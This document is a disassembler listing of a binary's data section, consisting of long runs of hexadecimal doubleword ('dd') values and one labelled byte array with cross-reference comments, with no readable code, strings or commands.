0E9D6B8A6h, 2A753101h, 0A1FC624Dh dd 0ED829A0h, 0EF1C7A67h, 28CF7C85h, 9189F58Ch, 8140E8E8h dd 1A0C3233h, 82819A44h, 419DF41Ch, 30228E18h, 0B85A2083h dd 32882844h, 40647448h, 84E99F4Ch, 0B2A999C0h, 280CB748h dd 2622960h, 0E7DAC846h, 2E6389ADh, 1A631CC8h, 0A834B012h dd 4D321004h, 66172400h, 0D739E00Eh, 334850F9h, 119029CFh dd 3B663F05h, 69C2088h, 1F15611Bh, 658B2A8h, 9AA47B31h dd 243C4690h, 803808D6h, 950DECF9h, 3961A45Dh, 80E338D9h dd 2060B3DBh, 0D025C3B0h, 4860C950h, 5D9E8C00h, 9F0FDD0Fh dd 8A662B40h, 5580C0BDh, 518E77B2h, 3471D45Fh, 3DFA7504h dd 0D840C809h, 0CBB00454h, 4188B1DAh, 0E434745Ch, 47744Ch dd 0F15C51D4h, 0E2CA3F23h, 0E77F7800h, 1A6CB2F3h, 0D64505FDh dd 4438FC63h, 8211E484h, 0A8A25A14h, 9060751Ch, 0C8326A77h dd 60188163h, 557FBD04h, 90F3DC43h, 0A3A1F75Ch, 0F9EEBA0h dd 1057F110h, 0C25DFA04h, 0C8460848h, 7107177Ch, 616680DAh dd 0F0B30680h, 554B02E4h, 1CE02479h, 407D9884h, 1B079309h dd 0F280032Eh, 0E5E49DDAh, 0F8606FA2h, 4C00ABBCh, 1C7667F5h dd 704181Bh, 0E3A08261h, 0A4409FF0h, 54D5139Ch, 0BD95E43Bh dd 18E5BF6Eh, 0DD285FEBh, 0A22D303Dh, 97203918h, 48D06740h dd 0EE1DBC9Fh, 0CF45C8B2h, 0F297AC80h, 7ED54D3h, 0FDC3A1DAh dd 21F84EDCh, 0F31DF086h, 0DF803F18h, 81ECC97Dh, 8ACD01E2h dd 665682A2h, 2C28C82Eh, 3CFBDC24h, 57374C47h, 7CC8ED70h dd 40DF199Dh, 0F44820DDh, 0F0A471D5h, 0F2115113h, 81D307FEh dd 8BAB6A8h, 1C5649h, 1DF2A95Ah, 2C6BE4h, 66CD2E17h, 94EDB3D7h dd 7CC7AE01h, 56EE4D7Ah, 379A022h, 244A7E2Dh, 0DBB85D20h dd 94F65EE9h, 710F1092h, 437E26h, 324ADEC3h, 6B8C1878h dd 7F9DA1FAh, 1060CC31h, 5F00EE7h, 0FFFE00A5h, 0D53D87A2h dd 5B005A9Eh, 6F18675Dh, 0E4CD44A8h, 0EF5200A5h, 0F9F54630h dd 0CA008110h, 0DC6BC03Dh, 0B95121h, 8CEBFCBBh, 0A379705h dd 40131F00h, 4CCC6DF8h, 0EE5E0704h, 0E0865C3Ch, 760C93F7h dd 0B400017Ah, 0CCA38451h, 0FA66EAEFh, 50BE00C2h, 0AEA67A30h dd 0E0008C3Bh, 2C451177h, 31765Ch, 0C3574BB4h, 0B1302732h dd 0E91BAD07h, 4FA923h, 86EF9D79h, 0DCB500BEh, 6BFB1040h dd 0EB00C57Ch, 3C46E94Eh, 317A1761h, 6829F448h, 0C2A71142h dd 7F100A12h, 94874019h, 2229BA20h, 0FE220E47h, 5D8D22F6h dd 3511A042h, 1202222Ah, 34F565Dh, 0FDE206D2h, 46350C0h dd 0D5738400h, 1A9953FAh, 0DE0F0005h, 60629A2Bh, 3E006623h dd 0ED231FDh, 1F29818Dh, 40521B7Bh, 7D8AECD0h, 21011D55h dd 0A2B545C2h, 10D8C314h, 420100BEh, 738E86DFh, 9D00CB52h dd 0E4C6FB32h, 745A4Fh, 439C374Dh, 17885C98h, 0DD66301Ch dd 0B20F6140h, 3CCAA03Bh, 0B1050339h, 0C06B7FA7h, 0D03E98FFh dd 467AA600h, 0E72FABBAh, 289E01ECh, 5D5A755Eh, 0D8CC40B2h dd 8900A444h dd 8B6D8333h, 3D761D3h, 1D689313h, 29C00C5Bh, 0DE0064FFh dd 0E4F73C74h, 1C0DF89Dh, 8081EF5Fh, 0CD17A8AFh, 2C70B358h dd 0FD5EDA00h, 4E76DD06h, 6DCC004Dh, 755F45D8h, 79D61209h dd 0C7FF7100h, 0E09D2510h, 0D9EF0718h, 90178272h, 37A4DE1Bh dd 65D5B503h, 0D80C1692h, 0F1078E3h, 664DDDCh, 0C53B36C0h dd 0B9391E4Fh, 0D04E8059h, 0DC0DBCD6h, 0F5E60091h, 2B6C6F07h dd 0FF1D5745h, 0B840FB7Ah, 3260A88Fh, 2C390FB1h, 59877DF2h dd 723EE109h, 1C6BC4B6h, 70FEE100h, 0AF2C03D1h, 0BB1700E9h dd 0AC6F936h, 0ED79348Bh, 12400700h, 5FB7FA08h, 33045871h dd 0A39076h, 884BBFDCh, 8BFC088Ch, 6F42E200h, 56C71FCDh dd 6829035Fh, 0A98EB249h, 0E0D353F8h, 6182A500h, 0A685650Bh dd 684F00F9h, 9832AC2h, 0F40373F1h, 6744DA02h, 0E0B79354h dd 487CCACFh, 5500B44Fh, 0C240FBCBh, 0AF026F5Dh, 0D4CF71B4h dd 61BE80DEh, 1EDB6CCEh, 800B6213h, 6D0F26F8h, 8C18BB72h dd 7311F4DCh, 838D00BEh, 6A1B8995h, 9000D85Ch, 0F6C5A5EEh dd 0E4F5875h, 0EA4BEC76h, 0DB00DFEEh, 3B5BE4B5h, 8048F93Eh dd 0EF57776Dh, 1578B8h, 0CD7607AFh, 0CBA90C45h, 27116F0Fh dd 3E96356h, 5C628022h, 697EC4Dh, 86546EE8h, 603CD063h dd 0BA5A8175h, 66105F92h, 3820E4h, 1D0FE6FAh, 88C67DCEh dd 864A0B00h, 174D7FF6h, 0DCE30094h, 5679079Fh, 0CA7662E6h dd 0B9DE2903h, 0DB9A4083h, 0F0F780E8h, 237113h, 97AA6232h dd 7780C775h, 8500D2E6h, 9DBE3569h, 4A23CDh, 0ECB768EFh dd 5122D466h, 0A51DA0CFh, 65C1A63Eh, 9E027B6h, 385B00C2h dd 1CD9BC9Fh, 59073324h, 1F3B74B5h, 9456780h, 0C4F41884h dd 870A11FBh, 8C6BF502h, 8004CBC0h, 0DC06E8B8h, 0EEDFC02h dd 7DBE7635h, 41BB1B80h, 48008929h, 0E07C0659h, 83CB07h dd 3149B69Fh, 0ED4D12ADh, 8CF83C05h, 0A2C0D790h, 1EE0B4h dd 0D6B62EFh, 1A572BCBh, 0A0C04828h, 0F51558h, 0D8026069h dd 177FFA8h, 0F15BAECFh, 0E00F2F65h, 0D30FF4DEh, 262926BCh dd 70E4AC14h, 7745F0F9h, 355700BAh, 0A7617917h, 6975F890h dd 2CA8B00h, 4B017867h, 0FB941604h, 0B08002Bh, 46695795h dd 0F556B700h, 700C9DFDh, 61EE0642h, 0F69B9F37h, 504E5502h dd 6003DF0Bh, 8B10F64h, 2F6EBB98h, 0C438CA00h, 3DC81BAFh dd 0E580A3A5h, 0E807F4BFh, 0C903BC3Ch, 6D17E692h, 31EAC97Fh dd 139C30h, 78B64A6Fh, 38548904h, 2D684609h, 1F5407A7h dd 7DC3A4A0h, 43E60FD8h, 0F0E109DAh, 8484F89Ah, 3D2612C8h dd 80787D04h, 0CF3CD407h, 866F1F00h, 0C67E8B1Dh, 0B6EA0009h dd 1330F835h, 990020E1h, 38FCA454h, 0D28EF9h, 75DD6ABh dd 28CF518Dh, 97478300h, 33DC85FBh, 2911000Ah, 125B3258h dd 591F5744h, 68C06427h, 0F5EC35C3h, 18AB003Ah, 7466B734h dd 0C100D42Ch, 7F60F217h, 269B0BF7h, 1F9B44D9h, 80965D69h dd 46D31BDBh, 207E338Fh, 76002FF4h, 7AFC9375h, 95EF30DEh dd 4900268Bh, 6EC48A09h, 9AAD3400h, 4E21A72Ah, 0E23D00EAh dd 66D8D9FCh, 91071D2Fh, 0E1B32DECh, 6B822A50h, 54A900E8h dd 0C23F0B17h, 0D000F68Ch, 318098D8h, 0F2686109h, 12D400ECh dd 36866221h, 3D093B37h, 8014F9F4h, 8BD79800h, 0DDFB3F33h dd 599F5F00h, 6B20DF8Fh, 464D0800h, 73D896EBh, 0CDF8BAh dd 0B210199Dh, 1EE52022h, 5CA6091Ch, 362F6F80h, 581A66D7h dd 910BC47Dh, 4000474Eh, 151B7521h, 0A11EA00h, 0CB06D5C1h dd 0CE945CFAh, 0F901233Ah, 0D919AAC5h, 87D6D987h, 9AD16420h dd 3C3F8AC0h, 42A4C0E3h, 451CDC0h, 0D843FC09h, 6AAB00F9h dd 35E7C39h, 0F17DAE1Bh, 99E8A151h, 0DF0304A0h, 11C54AC3h dd 0BC09981Eh, 0DEA5171Dh, 3370FC9h, 0C06E8CC0h, 0B00DFC7h dd 70D1418Fh, 0C18E2085h, 0AA8B0C18h, 8BE0D213h, 0EC07619Dh dd 93B32412h, 219A601h, 0DE4A1980h, 169ADF3h, 3F790801h dd 38CE9487h, 1194460h, 0B0B24AC2h, 606CF9C5h, 3E306458h dd 11B918C0h, 0FC61DF3h, 68AC7Ah, 2347AE07h, 0E9008150h dd 4C0B252Ah, 0F61B03h, 0CE3567Ah, 0C0AE7493h, 5192221Eh dd 2BD6C980h, 1CFE55C8h, 0CEC208h, 0F12AF8D1h, 4A009C61h dd 6C72E18Fh, 3E957FC0h, 1800FC54h, 7338C685h, 8E3D8D21h dd 0B17701DBh, 0AA81CB88h, 151DE8h, 0A89694F2h, 0C61035BEh dd 300830F1h, 1A33Ah, 0E3ED7897h, 7D1A48Ch, 83290547h dd 80CD14A6h, 3F1AC6F2h, 0DB655800h, 0C1F107BDh, 6A18C0C2h dd 0D2A84750h, 8724D5FCh, 0CD010169h, 775F3CCCh, 0C582ECh dd 36BE787Ah, 66763DE5h, 86204B3Fh, 0A09CB180h, 0FE3C1D88h dd 7EE88027h, 3855F4CAh, 0EC6CFB1Ch, 6B99BC80h, 3A49D281h dd 0FA0036C7h, 777B686Ah, 0F90EB476h, 0E037F512h, 5AB37302h dd 939224FBh, 99458064h, 0A2B5469Fh, 24893E00h, 216904F2h dd 0B48B0EA1h, 937209h, 0C20210ACh, 10BAC712h, 0D874602Eh dd 0A820A900h, 79CF316h, 55CD0678h, 0EADCE0FDh, 6C58DD94h dd 0A3E70018h, 4969770Ah, 0B3F600BAh, 0FAE9E23Ch, 1800A598h dd 9F122FC6h, 4E8F1Fh, 0F9F2B6F3h, 4D55CE85h, 0DE0F8700h dd 0BBAB4399h, 6AF895h, 90B8F036h, 0DE660A9h, 34579600h dd 4F405A9Dh, 28030F4Eh, 5651239h, 65E8421Bh, 2858D39Dh dd 0FA0CF400h, 0F38A3CD5h, 16CB263h, 5FB04387h, 0BBA66730h dd 424A80F8h, 10B6FD19h, 0F85C009Ah, 0EB7271A7h, 1403A32Eh dd 0A09F3679h, 0C4C0F045h, 12787F7Ch, 0BAE3Bh, 0BF29E4ECh dd 0EE753A76h, 56C30850h, 6F00947Eh, 0F37B6458h, 5C60DD3h dd 0A297BF77h, 8387C0h, 0B8BE845h, 216A2C00h, 8A2B8594h dd 0D33D0CC5h, 0AAA08EA5h, 0C9E8281Fh, 960685ECh, 1803CEh dd 0A68CDAB5h, 0C3C6D9EEh, 0BCA2AE00h, 14DB6074h, 0EE9027h dd 0AAFBD365h, 7164F8B4h, 48DFEC14h, 76E81790h, 1EB29C20h dd 0AF2706D4h, 79937C3Bh, 0BEEBD6C1h, 94508F34h, 90CA5FD8h dd 4B4C007Ch, 0AEF81D72h, 4579EEFFh, 1A6C1C00h, 745A0D34h dd 0FC69000Ch, 8F83BE82h, 0FB77327Bh, 0A5E25700h, 7F7915A9h dd 40ED1829h, 3F3B6156h, 3DBE2E48h, 0E96600E8h, 0F982E7FBh dd 7C3E006Ah, 973AAFA8h, 0C7014828h, 26534B3Ch, 0AAEC27E0h dd 0F71A00FCh, 0A21BACBEh, 3D1D6D2Ch, 0BA007B8Ch, 691D8932h dd 0E5C008Ah, 2F43564h, 0EE008498h, 9331C272h, 18B15980h dd 11B6ABEDh, 6E00B02Ah, 7C05F67Ah, 3C8C61h, 79664D70h dd 0B29EBA22h, 1D871617h, 0A4E12F07h, 0CA0026A7h, 0F1AAFEh dd 41479150h, 7EC1BD2Ah, 8D035DE2h, 627DD309h, 0E2EBA8CCh dd 0AD74C4Dh, 0C8073203h, 0A2C0B79Ah, 0D8170C0Fh, 1000EC31h dd 768AAC30h, 334B02FEh, 9C16A02Dh, 0F300B058h, 0AEC8E46Dh dd 0FCCB09D4h, 74211C75h, 0E7F5C04Ah, 0AB66574Bh, 90AE48h dd 762B6A7Ah, 0E1F020h, 49B2E959h, 28B0526Ch, 0D0536600h dd 5F9E4D3Bh, 0C797FAF7h, 4004AD39h, 3CC38A5Ah, 9082E507h dd 50809364h, 489E1FF1h, 8B000CCFh, 0A944E7F7h, 0E901DB24h dd 874369C0h, 62D00551h, 491F24F0h, 75140140h, 0F80E3A4Bh dd 4000D9DEh, 0D486E601h, 4C3924h, 0A1BD69FDh, 6A80FB3Fh dd 804FDA39h, 148C3174h, 7D18CDBCh, 0BDB624A0h, 0C0981CECh dd 43317EA8h, 8502DA1Ch, 2527B402h, 0C7A6418Fh, 0AD10A48Ch dd 6B50E8D0h, 89256284h dd 9E2C0009h, 9A7A65B6h, 59F10114h, 69281006h, 0AA6CF020h dd 37086F00h, 31BDD10Ch, 30E21821h, 0CA3AE8F5h, 53E85E00h dd 466244D5h, 0EF1A403Bh, 111FD2E6h, 0FFCFB4A9h, 0D992E0D4h dd 0CE87569h, 9E185238h, 992C7480h, 98802CFCh, 0C04A1EEEh dd 0BF5F0233h, 60A0F0B8h, 0D188C3E0h, 3CC138h, 0D8BD9B25h dd 1CAA6183h, 7DE677h, 8C69C63Bh, 51004237h, 61DD585Dh dd 1C8A54h, 2BA8D7DFh, 149C4867h, 0B7BB0400h, 1FBA47E3h dd 6C400021h, 755FF91Dh, 0C49C6FDAh, 0FF505800h, 6A8CD3h dd 0C314B7A8h, 43912168h, 3C88A700h, 0D3075082h, 0B16A0061h dd 4C779C64h, 9B00B567h, 7D69F3B8h, 124DA0h, 610C71BCh dd 84EE2C37h, 4B38E17Ch, 4CE83D04h, 0CDD009DCh, 8504613h dd 11BA467Eh, 0F8C03012h, 14502040h, 0D86D222Fh, 4A97EB0Eh dd 106E8126h, 0CCD4BA00h, 0CF50F708h, 0E2740F86h, 8EE73752h dd 5D7DA04Dh, 705901Bh, 0CDC709D0h, 6D2BC01h, 6C3082D6h dd 5D8A0484h, 80951676h, 75122191h, 6F010F00h, 5A4A37D9h dd 0F98600BDh, 0D4F4FA6Dh, 9B01AA3Dh, 9E5193F8h, 94283EDEh dd 0E66B6101h, 0FCA132DDh, 8B48B45Dh, 0CBB80BA4h, 0E77200D4h dd 0FBC0817Ah, 0CBC0EF0h, 0DE5AE14Fh, 2A003CFCh, 0A8A295E4h dd 1D6EE49h, 0E0FF2052h, 20AB9DCBh, 0C7001C68h, 5DA0470Fh dd 0D49433h, 2D83B236h, 4AB99D46h, 8CB16700h, 62DB56A8h dd 9CE60049h, 0D9D757D6h, 5200D51Ah, 0EE54E258h, 2E719ABAh dd 2081B3h, 0A592B865h, 0C10E9545h, 0A09336CEh, 64688640h dd 743D754Ch, 0F3470081h, 0F0276FABh, 4AF66AC9h, 0FC7A3326h dd 50E7A928h, 0BCF1D9D4h, 0C382BD0Bh, 30EC07CCh, 1186ECB0h dd 9B8F0733h, 503CA345h, 700B6315h, 426C6700h, 9F9AA7ABh dd 36F90055h, 4FCDAC12h, 5A750EB9h, 7B268F0Ah, 5E07CEB6h dd 0ABB5E032h, 86EE00D0h, 36850B9Dh, 0D38960B6h, 0AD562780h dd 0C01DB5F1h, 8A804FF9h, 0BE76A2DCh, 34FA0B90h, 8C409C12h dd 621DF39Ah, 0FC1594Ch, 0EF574528h, 0B8E47471h, 9B04038Fh dd 55424779h, 7436B2B1h, 95131D40h, 0E4130357h, 0AA9A4B00h dd 0F93B5Ah, 0E412DD79h, 496B6AB5h, 0D4E91F1Dh, 368AE00h dd 0FFAD34h, 0E59A75BCh, 3CB49D81h, 9023C224h, 0FA0D2D80h dd 4E7ABAC7h, 86D00109h, 649189D0h, 0FE0099B4h, 0A7A3CE74h dd 0E8F78Ah, 0EF8F77FFh, 47143711h, 0BB42A900h, 0DF32BF71h dd 29EA76h, 904541AFh, 0B0ABCC8Ch, 2B9E9701h, 7B885466h dd 38F9024h, 0F4BC9F55h, 0A1F81D06h, 0AE0328F6h, 1E0DFF18h dd 81DFF0D1h, 4CBE0077h, 0B0C127B7h, 8FE0E75Dh, 0E6BBC405h dd 4CB00316h, 2E530032h, 4A140C59h, 67008E43h, 0F94B724Ch dd 72451035h, 0FCDF2401h, 771900DBh, 8BBD3F4Fh, 3221EB1Fh dd 2B767C9h, 68498850h, 0F3C5B8h, 6DB4AF6Eh, 1A520E6h dd 0E435200h, 0A712E467h, 424B00FCh, 87CE7CB3h, 0DD1F7F14h dd 0CC0C2603h, 41183h, 0C493FD29h, 5C7C8298h, 7E16D870h dd 708AC6B4h, 507822C1h, 5AF0506Eh, 602BE15h, 3B07C7Fh dd 382C405Eh, 767B2CCAh, 817E1624h, 68550178h, 5A35226Ch dd 0F3E80040h, 108F31E4h, 78C93600h, 0EE1EC0D2h, 19EE11h dd 29FB30F0h, 587C12BAh, 0B5809602h, 0C0779955h, 17784E2Bh dd 0EF956C57h, 861FE90Bh, 0F248F8h, 7F6DCA13h, 0A5CBD328h dd 4C61FC00h, 0C6E7D158h, 0EFDA289Bh, 99874E8h, 65D0B974h dd 0CD6F3F80h, 0D600ABECh, 61813188h, 38A1F748h, 0C2D8230Ah dd 59E27A00h, 0B2679602h, 0ABD8DC00h, 729AEC71h, 0FAA100F0h dd 91F1F5A9h, 0DE03A2CDh, 0AE9B4619h, 0B031C388h, 0C5E833Fh dd 0DF5F7E8Ah, 131CA566h, 0C089C5EBh, 68882103h, 0EFF4598Ch dd 0F280009Ah, 0A705836Fh, 68C0A0BBh, 0A3A48C75h, 5C530026h dd 0D9626C73h, 5900FD3Eh, 2E80F8A9h, 0A2C14h, 543803B4h dd 45629465h, 18BE8939h, 0C51E976h, 0DA240326h, 67B2B79h dd 8C1138D0h, 0EA9C8226h, 4B1B7500h, 75684813h, 0DB03074Eh dd 0D015CBE6h, 6C6F9D60h, 0ACD62303h, 0E887BFE9h, 527D1Bh dd 88079A73h, 1EB97C93h, 48F1CC0Ah, 0B1C60E7h, 0BAD34D00h dd 130F83Eh, 3832D741h, 0FC7734DAh, 8F00B6BCh, 95B25091h dd 51D18Eh, 4C93FA2Ch, 3C0423D4h, 0DE07DA70h, 5C134E49h dd 0FF1225B0h, 93A500AFh, 81F64B52h, 60FACCFAh, 89BF3100h dd 62C69BF1h, 0DE98004Eh, 0B2C9802Eh, 49006027h, 11B5068Fh dd 9979A84h, 98FFAE4Eh, 0A38C2300h, 6E00280Eh, 17B92459h dd 3BC94Fh, 3D6DB3DDh, 6CBB8DC8h, 97BD3203h, 0B4377581h dd 450000A8h, 0EF76801Ah, 7900274Fh, 0D3BE7473h, 0F3DF8FCh dd 727818C6h, 3FF6FFA0h, 0DE007EC0h, 51E74915h, 1E7BC895h dd 76317BCh, 22965h, 0FD9A4A99h, 0C1BF4Ch, 47B23E30h, 366AFh dd 365E54CFh, 0EC3110E1h, 0C8DC34F9h, 23BFEF02h, 8196553Fh dd 0C7A54ABh, 923A9C2Ch, 380B2C78h, 0DE950030h, 699326E2h dd 0D4FD9900h, 40D07996h, 89470FE9h, 3483035Eh, 801EA35Dh dd 0B0CE65B1h, 24900BEh, 4CD37DE4h, 250E5E70h, 9EE05B22h dd 6FCA0DB0h, 0EAB1F600h, 5E31D9EEh, 62730061h, 24119A48h dd 507C6E1Fh, 30962E1Ch, 2100BC5Fh, 72FB6676h, 62370039h dd 27D1B37Dh, 0E1503118h, 2C1ED070h, 11467F5Dh, 3399A0BDh dd 0CC214FBEh, 19BB000h, 64473EE1h, 73DA0097h, 0A80AFCC1h dd 0EA000658h, 0BE86F3A4h, 1E0EAFh, 25013012h, 0D448529Eh dd 0F994BF05h, 0D7800907h, 7DC63474h, 9F3B00DBh, 0E695C013h dd 0BE0745C7h, 448B1A2Dh, 0FDB1F8E0h, 0F3F9000Ah, 0ACE7F6A9h dd 82002567h, 0D7C25036h, 586C5470h, 8C0B7DFBh, 7A7E0A60h dd 3F37E707h, 2B91B6C0h, 5D74072Fh, 20569399h, 0F8E67A2Ah dd 0AE200700h, 6879B348h, 2FB000B1h, 613FA4CAh, 3C0093F3h dd 26B2FE95h, 1EB873D6h, 4924EE8h, 902A027Ah, 0EC095050h dd 0A688121Ch, 0FECE4E1Eh, 40D88903h, 0A17194h, 0F9D051EBh dd 0D52A81C4h, 0B45AE00h, 99F795BDh, 2CB15219h, 0D930C2F2h dd 516C009Fh, 0E0B593D1h, 51C4C9CEh, 7082971Ch, 0FB77E04Bh dd 0E3BD060Ah, 205D21CEh, 3CB02895h, 3F465Ch, 2DC9CCFDh dd 1D72B06Dh, 0CC6004C3h, 0FBD83DCEh, 61881E10h, 0CEB3DF8h dd 31490366h, 0F029BADCh, 924470B8h, 0C003CC18h, 28D89h dd 8E659177h, 380D35A7h, 1039FB00h, 0A41216FFh, 2AC90198h dd 0F17371ADh, 4DB4E034h, 9C14F9C3h, 0B759808Bh, 0D88D0078h dd 636702CBh, 7160C945h, 8BAD4730h, 14C04DEFh, 7675100h dd 2E61991Fh, 9383432h, 334D03Ch, 9B077EF1h, 4FF8E574h dd 3043E68h, 0B2C895Ch, 64ADD380h, 0C0BFE645h, 0F0EDE660h dd 143ED51Bh, 2AC4800Dh, 0EB5863B6h, 6BF6000Bh, 0B27CF1C9h dd 0A0E4DE1h, 81532C03h, 941A8B11h, 3DF02E8h, 742918D9h dd 5FC09EBCh, 2600B47Ch, 28313EEEh, 6E7570h, 3F2CD311h dd 82B761D1h, 0E5C5C700h, 16C3CCA0h, 65B600B3h, 2390A5D2h dd 0CCB0BDA7h, 7CEAD3Fh, 0DED39385h, 3A565E30h, 64F20090h dd 69C10B1Eh, 0FC0B0C20h, 80838242h, 0F304CFF8h, 37D500CDh dd 0A1D96AA4h, 0C10170FDh, 1C19E233h, 437020BEh, 5A0D0A67h dd 0F6046802h, 11CE8F30h, 15C649Ah, 3555247Eh, 0EC58D2FBh dd 0D471807Ch, 330C53Eh, 0B07ACB6Bh, 0E79EE348h, 0E03EFEF3h dd 74C950F9h dd 59606085h, 0B1C83D3h, 9D507D63h, 875FCCF3h, 4CCC934Bh dd 0D6006128h, 2631876Ch, 70CF903Fh, 4B1207E9h, 349FF474h dd 66BD8009h, 0ED67D504h, 84486AF9h, 15B648Fh, 0A1161B78h dd 0E90E5980h, 386203Dh, 1A12AB05h, 70226534h, 0E556207Ah dd 513AE6B1h, 0E106768Ch, 38CB6ABEh, 9B801FE9h, 56AD0002h dd 4B21789Dh, 5699622h, 1201C3B5h db 68h byte_520045 db 30h, 4Ch, 0E5h ; DATA XREF: ___:00437A60o ; ___:00437A78o dd 1F0109CEh, 0E959268Eh, 680024FAh, 1750782Eh, 0C506D314h dd 3069903Dh, 9BEF00A8h, 268DECD4h, 6052C901h, 41EBDF4h dd 0B207FCACh, 6916BD30h, 8DC180Dh, 3AE4A08Ch, 7E9E028Dh dd 33718234h, 76170440h, 0F806B7EEh, 495BC508h, 8014228h dd 3B3D67DCh, 59B20142h, 53A7BD2h, 42844608h, 54F1112Eh dd 1E081921h, 0F1C4BD6Ah, 0B5257B12h, 6FB47501h, 0A1C001A8h dd 0B676073Bh, 0E01AAE11h, 80EA5EBEh, 157C1778h, 6F0026F6h dd 11D12F9Eh, 23CDBAh, 0D53FE76Ah, 92D99FEBh, 7600BE7Ch dd 0F3E12503h, 67BF31h, 0E0180A99h, 7D411202h, 565FAD01h dd 24B35BBCh, 3C3870h, 40ECDEEBh, 0C93533Fh, 0B359D0F7h dd 0E7CF8B00h, 8A675E02h, 0ABA700B4h, 29EE21BDh, 7D00E358h dd 5F4E5A1Ah, 0A239FAh, 7B75E451h, 0EBFD3CDCh, 1F5D061Eh dd 60058DC1h, 0DC256772h, 7B5E3E0h, 0EADCDBB1h, 92A4104Fh dd 0F60F0355h, 40711575h, 42B2B441h, 0DE6400DBh, 0EAAF1422h dd 0D61C6EC0h, 53C048CFh, 65E054B2h, 6C4903BEh, 39E17120h dd 560078D6h, 1586D7C4h, 12DBF155h, 40CDFB5Bh, 179DA91Ch dd 5D005369h, 4FB6D571h, 1F81E84h, 52405137h, 605ECECFh dd 0D4C05FC0h, 5DDF2521h, 137144h, 31F0F7F2h, 37B3EA88h dd 503B0200h, 0C0AC8EFAh, 823200D9h, 1F220D2Ah, 9501DFAAh dd 1C18A6A8h, 7CEC068Eh, 1DE900D1h, 662B394Fh, 0B6015CC0h dd 33770D36h, 1080A770h, 0F584052Ah, 4E00071Dh, 0F88F3240h dd 3D52E5h, 5477A4C1h, 0E8E4ED0Ah, 0A9359500h, 3F471A76h dd 64B0008Eh, 1E5B27B9h, 4500256Dh, 0A2CC0C3Bh, 0E1976801h dd 9006D4h, 40B3E86h, 0A4B2D77Eh, 7531EF00h, 0E128611Ah dd 0B39103D5h, 36E81CCAh, 0E5F997A0h, 48245F00h, 5B317ADAh dd 99B800A8h, 0EFAA764Fh, 0C0003755h, 18E81DBFh, 0BB343Dh dd 0E67ADECFh, 7C40CD92h, 77F8BFh, 65D493D0h, 0E1E8F3DAh dd 13FC8E00h, 1203A6E4h, 0D65B0E38h, 1CE092D1h, 265A76C5h dd 0DF00807Eh, 9A0A9371h, 78A0FAD0h, 49A904B5h, 8060B7E2h dd 9F79FD97h, 2C524C00h, 749201F1h, 0EA370271h, 48C4B967h dd 0BE8618C8h, 9B0076EAh, 4F79F3Ch, 3C7282EBh, 0F5011C1Ah dd 0C17E22B9h, 937E09Bh, 84AD909h, 8231876Ch, 3B8F7E3Fh dd 62462064h, 0C5393F42h, 18F95Ch, 8ED0C5D8h, 9900AAB9h dd 62BA6C2h, 5814E2h, 0AB33ED1Ch, 0F8750B9Ah, 64E46850h dd 0B4159000h, 4899F128h, 1CDF07F5h, 8018E197h, 8C89FEE7h dd 0B8B1DA00h, 0B28FB413h, 54192C11h, 0C15E4040h, 0D80164FBh dd 59E460F8h, 0D2D487DDh, 126200FAh, 0D384DC5Eh, 0A63F74AEh dd 334180E8h, 1A92FB7Ah, 67C00FDh, 4B867721h, 2B26719Bh dd 0FA172C36h, 16BFAD00h, 0F758DAh, 0BE6A4CEEh, 21A17D6Ch dd 4DE31839h, 834AA03Ch, 0D6C41D2Dh, 0F823C0B2h, 0AC9E2416h dd 56A3EA00h, 0BBE46455h, 4A2D00C2h, 4B66C812h, 0A1989284h dd 0A8504C03h, 0CC6B3Ah, 0E109F920h, 0D4B05519h, 1DFD3105h dd 2FC02F3Ch, 1FD5AEF4h, 400F3B78h, 0B97074DAh, 0B24AA86h dd 803AD837h, 0BDA5656Eh, 506C2Ah, 9E44A778h, 2F952A2h dd 0F50AB207h, 0C08038C2h, 0AA05B9h, 0FDD1AFD5h, 44D2431Ah dd 0AE3CB700h, 0F76D77DFh, 0D8031C09h, 6B9DC0FFh, 27F9C602h dd 55F88700h, 1D858373h, 33D75E7h, 9723FEB8h, 10B21220h dd 0ED7560C0h, 0F8AAE30Fh, 290F8Bh, 5CB1E7A3h, 20930055h dd 0B6E6E07Bh, 0F000E527h, 0A251CA58h, 63256FDh, 0BC26784Eh dd 6C00789Ch, 0DDF081DFh, 0AE5F09h, 8392BE23h, 0DCEEA61Ah dd 9C9813ECh, 0E788AA03h, 0C802FE2Ah, 51CAB76h, 62E09634h dd 0F7B800CCh, 4946163Ah, 9A7FE706h, 1F318F2Bh, 4062B20Bh dd 28AEB779h, 0CE035AB9h, 0A5E8720h, 554AE8BEh, 0C82E00B6h dd 0F612C71Eh, 500975FCh, 6A3421h, 54C0E54h, 0B630033Bh dd 0F20A1282h, 303CEFC1h, 800047Ch, 85EE1A4Dh, 6318FDh dd 0E6C0A806h, 407A9591h, 0E828C9EBh, 6B00B673h, 0BF2469A0h dd 0B91B94h, 0DDCC48CAh, 0A893AF58h, 0D3811000h, 24AEE3E2h dd 1BC7206h, 71B1FB8Bh, 30ADE040h, 70486213h, 0CD0400DCh dd 99D2E8DEh, 8D390097h, 1B5846EBh, 3E0008AFh, 3BF5120Ah dd 63CB2DD7h, 0C62C1032h, 0E6AEEFE8h, 1677B800h, 0D3206E07h dd 0E04D00E4h, 54C26004h, 94BBF5h, 61B2790Fh, 2DEE4EFDh dd 1DC1DC8h, 13BED099h, 60B0A024h, 0F03F0D14h, 0C58C00AFh dd 7A8707DEh, 0DF5E08E8h, 0E7030401h, 80846A89h, 0B1E1417h dd 0BCB2D8E1h, 0A1EC097Dh, 2F654E74h, 0C5497980h, 64FF4205h dd 72C72300h, 0D1400378h, 52700376h, 44D69F63h, 5F617992h dd 0C372DC3Eh, 0C70CE300h, 120407B4h, 65F0091h, 8275BCD1h dd 180066EBh, 0EDC949CCh, 3F523B4Bh, 0C0800BD4h, 0E6D0D2B0h dd 8000DB51h, 382E5804h, 0DED5DDh, 1F357B48h, 0FCF4661Ch dd 86CDCB00h, 9EB02A74h, 0CEDB00D1h, 760306C1h, 94B185E8h dd 6C5DAB07h, 37C75B90h, 786B002Eh, 430F029Bh, 0E8C07B67h dd 9C71541Eh, 0F8060380h, 4C821A03h, 0F280CC83h, 9D0018B5h dd 0AD2D9F75h, 0F2166471h, 61F607F3h, 602FABC5h, 0C3B850F0h dd 0BA6648h, 952DF496h, 80691Bh, 5A88CB5Fh, 248BC4B6h dd 7A2C8A00h, 0BA951068h, 3BF240h, 7E42F2D6h, 1FB14596h dd 49B91900h, 8BEF31DEh, 0BBD700CDh, 0CFC293A9h, 0E809E04Fh dd 812071D6h, 6E5A273Bh, 0E04056D1h, 3A9FE4C3h, 0E280642Bh dd 